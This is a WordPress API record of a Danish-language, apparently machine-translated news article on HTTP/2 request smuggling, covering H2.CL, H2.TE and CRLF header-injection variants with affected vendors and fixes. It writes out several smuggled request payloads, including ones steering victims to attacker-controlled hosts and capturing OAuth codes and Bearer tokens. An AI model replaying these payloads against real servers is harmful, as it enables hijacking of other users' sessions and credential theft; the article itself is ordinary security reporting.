{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Et nyt angreb p\u00e5 frontend-backend systemer, der tillader indgriben i foresp\u00f8rgsler","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Websystemer, hvor frontenden modtager forbindelser via HTTP\/2 og videregiver til backend via HTTP\/1.1, er blevet udsat for en ny variant af angrebet \"HTTP Request Smuggling\", der g\u00f8r det muligt at tr\u00e6nge ind i indholdet af andre brugeres anmodninger ved at sende specielt formaterede klientanmodninger i samme str\u00f8m mellem frontenden og backend. Angrebet kan bruges til at inds\u00e6tte skadelig JavaScript-kode i en session med et legitimt websted, omg\u00e5else af adgangsbegr\u00e6nsninger og opsnapning af autentifikationsparametre.     <\/p>\n<p>Problemet rammer webproxyer, belastningsbalancere, webacceleratorer, indholdsdistributionssystemer og andre konfigurationer, hvor anmodninger omdirigeres efter frontend-backend-modellen. Forfatteren af unders\u00f8gelsen demonstrerede muligheden for angreb p\u00e5 systemer som Netflix, Verizon, Bitbucket, Netlify CDN og Atlassian, og modtog 56.000 dollars i bel\u00f8nningsprogrammer for opdagelse af s\u00e5rbarheder. Problemet er ogs\u00e5 bekr\u00e6ftet i produkter fra F5 Networks. Problemet ber\u00f8rer delvist mod_proxy i http-serveren Apache (CVE-2021-33193), og rettelser forventes i version 2.4.49 (udviklerne blev underrettet om problemet i begyndelsen af maj og fik tre m\u00e5neder til at udbedre det). I nginx er muligheden for samtidig angivelse af overskrifterne \"Content-Length\" og \"Transfer-Encoding\" blevet blokeret i den seneste udgivelse (1.21.1). V\u00e6rkt\u00f8jer til at udf\u00f8re angreb er allerede blevet tilf\u00f8jet til Burp-v\u00e6rkt\u00f8jskassen og er tilg\u00e6ngelige i form af en Turbo Intruder-udvidelse.      <\/p>\n<p>Betragtningen bag den nye metode til at infiltrere anmodninger i trafikken er analog med s\u00e5rbarheden, der blev opdaget af den samme forsker for to \u00e5r siden, men begr\u00e6nset til frontends, der modtager anmodninger via HTTP\/1.1. Lad os minde om, at i frontend-backend-modellen modtager klientanmodninger en ekstra node \u2014 frontenden, der etablerer en langvarig TCP-forbindelse med backend, som direkte behandler anmodninger. Gennem denne f\u00e6lles forbindelse overf\u00f8res typisk anmodninger fra forskellige brugere, som f\u00f8lger i r\u00e6kkef\u00f8lge efter hinanden med adskillelse via HTTP-protokollen.     <\/p>\n<p>Den klassiske angrebsmetode 'HTTP Request Smuggling' er baseret p\u00e5 det faktum, at frontend- og backend-systemer fortolker brugen af HTTP-overskrifterne 'Content-Length' (der angiver den samlede st\u00f8rrelse af data i anmodningen) og 'Transfer-Encoding: chunked' (der tillader overf\u00f8rsel af data i dele) forskelligt. For eksempel, hvis frontenden kun underst\u00f8tter 'Content-Length', men ignorerer 'Transfer-Encoding: chunked', kan en angriber sende en anmodning, hvori overskrifterne 'Content-Length' og 'Transfer-Encoding: chunked' er angivet samtidig, men st\u00f8rrelsen i 'Content-Length' ikke svarer til st\u00f8rrelsen af chunked-k\u00e6den. I dette tilf\u00e6lde vil frontenden behandle og omdirigere anmodningen i overensstemmelse med 'Content-Length', mens backend forventer afslutningen af blokken baseret p\u00e5 'Transfer-Encoding: chunked', hvilket betyder, at den resterende del af angriberens anmodning vil ende som starten p\u00e5 en anden anmodning, der sendes efterf\u00f8lgende.         <\/p>\n<p>I mods\u00e6tning til den tekstbaserede protokol HTTP\/1.1, der behandles p\u00e5 linjeniveau, er HTTP\/2 en bin\u00e6r protokol, der manipulerer med blokke af data af foruddefineret st\u00f8rrelse. I HTTP\/2 bruges pseudohoveder, der svarer til almindelige HTTP-overskrifter. N\u00e5r der interageres med backend via HTTP\/1.1, overs\u00e6tter frontenden disse pseudohoveder til tilsvarende HTTP-overskrifter i HTTP\/1.1. Problemet er, at backend tr\u00e6ffer beslutninger om at bearbejde str\u00f8mmen baseret p\u00e5 de HTTP-overskrifter, der er angivet af frontenden, uden at have oplysninger om parametrene fra den oprindelige anmodning.      <\/p>\n<p>Det kan ogs\u00e5 ske, at v\u00e6rdierne 'content-length' og 'transfer-encoding' overf\u00f8res i form af pseudoverskrifter, selvom de ikke anvendes i HTTP\/2, da st\u00f8rrelsen af alle data bestemmes i et separat felt. Ikke desto mindre overf\u00f8res disse overskrifter under konvertering af HTTP\/2-anmodningen til HTTP\/1.1 og kan forvirre backend-systemet. Der er to prim\u00e6re varianter af angreb: H2.TE og H2.CL, hvor backend-systemet forledes af en forkert v\u00e6rdi for transfer-encoding eller content-length, som ikke svarer til den reelle st\u00f8rrelse af det anmodede kropsdata, der er sendt til frontenden via HTTP\/2-protokollen.    <center><img decoding=\"async\" alt=\"Et nyt angreb p\u00e5 frontend-backend systemer, der tillader indgriben i foresp\u00f8rgsler\" src=\"\/wp-content\/uploads\/2021\/08\/1ea8d97902bf7c4281adce29351c96fc.png\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>Som et eksempel p\u00e5 H2.CL-angreb angives en forkert st\u00f8rrelse i pseudo-headeren content-length, n\u00e5r en HTTP\/2-anmodning sendes til Netflix. Denne anmodning medf\u00f8rer, at en tilsvarende HTTP-header Content-Length tilf\u00f8jes, n\u00e5r der rettes henvendelse til backend via HTTP\/1.1, men da st\u00f8rrelsen i Content-Length er angivet som mindre end den faktiske, vil en del af dataene i slutningen blive behandlet som begyndelsen p\u00e5 den n\u00e6ste anmodning.     <\/p>\n<p>For eksempel, HTTP\/2-anmodning: method POST path \/n authority www.netflix.com content-length 4 abcd GET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar      <\/p>\n<p>Dette vil f\u00f8re til, at backend modtager en anmodning: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcd GET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar    <\/p>\n<p> Da Content-Length har v\u00e6rdien 4, vil backend-systemet kun opfatte 'abcd' som anmodningens kropsdata, mens resten af 'GET \/n HTTP\/1.1\u2026' vil blive behandlet som begyndelsen p\u00e5 den efterf\u00f8lgende anmodning, der er bundet til en anden bruger. Som f\u00f8lge heraf vil der opst\u00e5 en desynkronisering af str\u00f8mmen, og som svar p\u00e5 den efterf\u00f8lgende anmodning vil resultatet af behandlingen af den falske anmodning blive givet. I tilf\u00e6lde af Netflix f\u00f8rte angivelsen af en ekstern v\u00e6rt i overskriften 'Host:' i den falske anmodning til, at kunden fik svaret 'Location: https:\/\/02.rs?x.netflix.com\/n' og gjorde det muligt at overf\u00f8re vilk\u00e5rligt indhold til kunden, herunder at k\u00f8re sit eget JavaScript-kode i konteksten af Netflix-webstedet.      <\/p>\n<p>Den anden angrebsmetode (H2.TE) er relateret til indsatserne af overskriften &#171;Transfer-Encoding: chunked&#187;. Anvendelsen af pseudo-overskriften transfer-encoding i HTTP\/2 er forbudt af specifikationen, og anmodninger med den skal fortolkes som ugyldige. P\u00e5 trods af dette ignorerer nogle frontend-implementeringer dette krav og tillader brugen af pseudo-overskriften transfer-encoding i HTTP\/2, som bliver konverteret til en tilsvarende HTTP-overskrift. N\u00e5r overskriften &#171;Transfer-Encoding&#187; er til stede, kan backend opfatte den som mere prioriteret og udf\u00f8re opdeling af data i chunked-tilstand med brug af blokke af forskellig st\u00f8rrelse i formatet &#171;{st\u00f8rrelse}&#092;r&#092;n{blok}&#092;r&#092;n{st\u00f8rrelse}&#092;r&#092;n{blok}&#092;r&#092;n0&#187;, p\u00e5 trods af den oprindelige opdeling efter samlet st\u00f8rrelse.    <\/p>\n<p>Eksistensen af en s\u00e5dan s\u00e5rbarhed blev demonstreret ved eksempel p\u00e5 Verizon. Problemet vedr\u00f8rte autentifikationsportalen og <a href=\"https:\/\/prohoster.info\/da\/hosting\/hosting-wordpress\/\"  data-wpil-monitor-id=\"1168\">originale MODx og giver dig flere v\u00e6rkt\u00f8jer til at skabe brugerdefinerede hjemmesider og rige webapplikationer.<\/a>, som ogs\u00e5 anvendes p\u00e5 hjemmesider som Huffington Post og Engadget. For eksempel, klientanmodning via HTTP\/2: method POST path \/identify\/XUI authority id.b2b.oath.com transfer-encoding chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x=    <\/p>\n<p>F\u00f8rte til overf\u00f8rsel til backend af HTTP-anmodning 1.1: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x=      <\/p>\n<p>Backend ignorerede i sin tur overskriften &#171;Content-Length&#187; og udf\u00f8rte opdelingen i str\u00f8mmen baseret p\u00e5 &#171;Transfer-Encoding: chunked&#187;. I praksis tillod angrebet at omdirigere brugernes anmodninger til sin egen hjemmeside og endda opfange anmodninger relateret til OAuth-godkendelse, hvis parametre blev eksponeret i Referer-overskriften, samt simulere en godkendelsessession og initierer systemets sendelse af brugerens loginoplysninger til angriberens host. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?&#8230;&#038;code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik&#8230;        <\/p>\n<p>Til angreb p\u00e5 HTTP\/2-implementeringer, der ikke tillader angivelse af pseudo-overskriften transfer-encoding, blev der foresl\u00e5et en anden metode, der relaterer sig til indsatserne af overskriften &#171;Transfer-Encoding&#187; ved at vedh\u00e6fte den til andre pseudo-overskrifter adskilt med en ny linje (ved konvertering til HTTP\/1.1 oprettes der i s\u00e5danne tilf\u00e6lde to separate HTTP-overskrifter).     <\/p>\n<p>For eksempel var det p\u00e5g\u00e6ldende problem udbredt i Atlassian Jira og Netlify CDN (som bruges til at levere startside for Mozilla i Firefox). Is\u00e6r HTTP\/2-anmodningen :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb&#092;r&#092;n transfer-encoding: chunked 0&#092;r&#092;n &#092;r&#092;n GET \/ HTTP\/1.1&#092;r&#092;n Host: evil-netlify-domain&#092;r&#092;n Content-Length: 5&#092;r&#092;n &#092;r&#092;n x=    <\/p>\n<p>f\u00f8rte til, at backend modtog en HTTP\/1.1-anmodning POST \/ HTTP\/1.1&#092;r&#092;n Host: start.mozilla.org&#092;r&#092;n Foo: b&#092;r&#092;n Transfer-Encoding: chunked&#092;r&#092;n Content-Length: 71&#092;r&#092;n &#092;r&#092;n 0&#092;r&#092;n &#092;r&#092;n GET \/ HTTP\/1.1&#092;r&#092;n Host: evil-netlify-domain&#092;r&#092;n Content-Length: 5&#092;r&#092;n &#092;r&#092;n x=      <\/p>\n<p>En anden mulighed for at angive headeren &#171;Transfer-Encoding&#187; var at vedh\u00e6fte den til navnet p\u00e5 en anden pseudo-header eller til linjen med anmodningsmetoden. For eksempel, n\u00e5r man tilg\u00e5r Atlassian Jira, f\u00f8rte navnet p\u00e5 pseudo-headeren &#171;foo: bar&#092;r&#092;ntransfer-encoding&#187; med v\u00e6rdien &#171;chunked&#187; til tilf\u00f8jelsen af HTTP-headere &#171;foo: bar&#187; og &#171;transfer-encoding: chunked&#187;, mens angivelsen i pseudo-headeren &#171;:method&#187;\tv\u00e6rdien &#171;GET \\\/ HTTP\\\/1.1&#092;r&#092;nTransfer-encoding: chunked&#187; blev oversat til &#171;GET \\\/ HTTP\\\/1.1&#092;r&#092;ntransfer-encoding: chunked&#187;.     <\/p>\n<p>Forskeren, der opdagede problemet, foreslog ogs\u00e5 en tunnelingteknik til at udf\u00f8re angreb p\u00e5 front-end, hvor hver <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/da\/lir\/ipv4\/\"   title=\"IP-adresser\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"688\">IP-adresser<\/a> Deres opretter en separat forbindelse til backenden, og trafikken fra forskellige brugere blandes ikke. Den foresl\u00e5ede teknik tillader ikke indblanding i andre brugeres foresp\u00f8rgsler, men giver mulighed for at injicere en f\u00e6lles cache, der p\u00e5virker behandlingen af andre foresp\u00f8rgsler, og g\u00f8r det muligt at udf\u00f8re substitution af interne HTTP-overskrifter, der bruges til at overf\u00f8re metadata fra frontenden til backenden (for eksempel kan oplysninger om den aktuelle bruger transmitters til backenden i s\u00e5danne overskrifter ved autentificering p\u00e5 frontenden). Som et eksempel p\u00e5 praktisk anvendelse af metoden er kontrol over sider i Bitbucket-tjenesten blevet opn\u00e5et gennem cache-injektion.<br \/>\n<br \/>Kilde: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=55601\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 &#171;HTTP Request Smuggling&#187;, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 &quot;HTTP Request Smuggling&quot;, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/da\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"da_DK\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 &quot;HTTP Request Smuggling&quot;, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/da\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-08-07T14:22:35+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-02-09T15:18:09+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Ny angreb p\u00e5 frontend-backend-systemer, der tillader indblanding i foresp\u00f8rgsler | ProHoster","description":"Web-systemer, hvor frontenden modtager forbindelser via HTTP\/2 og sender til backenden via HTTP\/1.1, er blevet udsat for en ny variant af angrebet \"HTTP Request Smuggling\", som g\u00f8r det muligt at sende specielt formaterede foresp\u00f8rgsler.","canonical_url":"https:\/\/prohoster.info\/da\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"da_DK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 &quot;HTTP Request Smuggling&quot;, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/da\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}